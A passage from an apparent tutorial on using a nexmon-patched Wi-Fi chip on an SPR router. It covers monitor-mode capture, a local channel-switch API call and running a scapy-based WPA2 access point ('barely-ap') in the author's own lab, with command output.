22:50:27.210323 1876687100us tsft 1.0 Mb/s 2412 MHz 11b -67dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY

We can also verify that our channel switch api extension works

# curl -u admin:admin localhost/plugins/nexmon/change_channel?channel=4/20 -X PUT
# iw dev

phy#10
Interface wlan0
ifindex 44
wdev 0xa00000002
addr 00:00:00:00:00:00
type monitor
channel 4 (2427 MHz), width: 20 MHz, center1: 2427 MHz
Interface mon0
ifindex 43
wdev 0xa00000001
addr e4:5f:01:fd:a1:76
type managed
channel 4 (2427 MHz), width: 20 MHz, center1: 2427 MHz
txpower 31.00 dBm
...

* Note that the SPR UI does not allow specifying a docker compose path directly from the UI. Instead, a user can modify or create a list in configs/base/custom_compose_paths.json to do so.

Running barely-ap

Besides sniffing traffic, we can also do wild things with packet injection, like running a WPA2 Access Point written in scapy

Since the nexmon patch is a bit hacky, we set the wlan0 mac address ourselves and make sure the channel matches

ap = AP("turtlenet", "password1234", mode="iface", iface="wlan0", mac="e4:5f:01:cd:a1:76", channel=4)

“ET VOILÀ!”:

root@wifilab0:~/barely-ap/src# python3 ap.py                                                                                                                  
command failed: Device or resource busy (-16)
Created TUN interface scapyap at 10.10.10.1. Bind it to your services if needed.
Sending Authentication to 56:66:a3:9c:71:8b from e4:5f:01:cd:a1:76 (0x0B)...
Sending Association Response (0x01)...
sent eapol m1 56:66:a3:9c:71:8b
[+] New associated station 56:66:a3:9c:71:8b for bssid e4:5f:01:cd:a1:76

Want to try it yourself on SPR?

You can grab spr-nexmon here and barely-ap at https://github.com/spr-networks/barely-ap.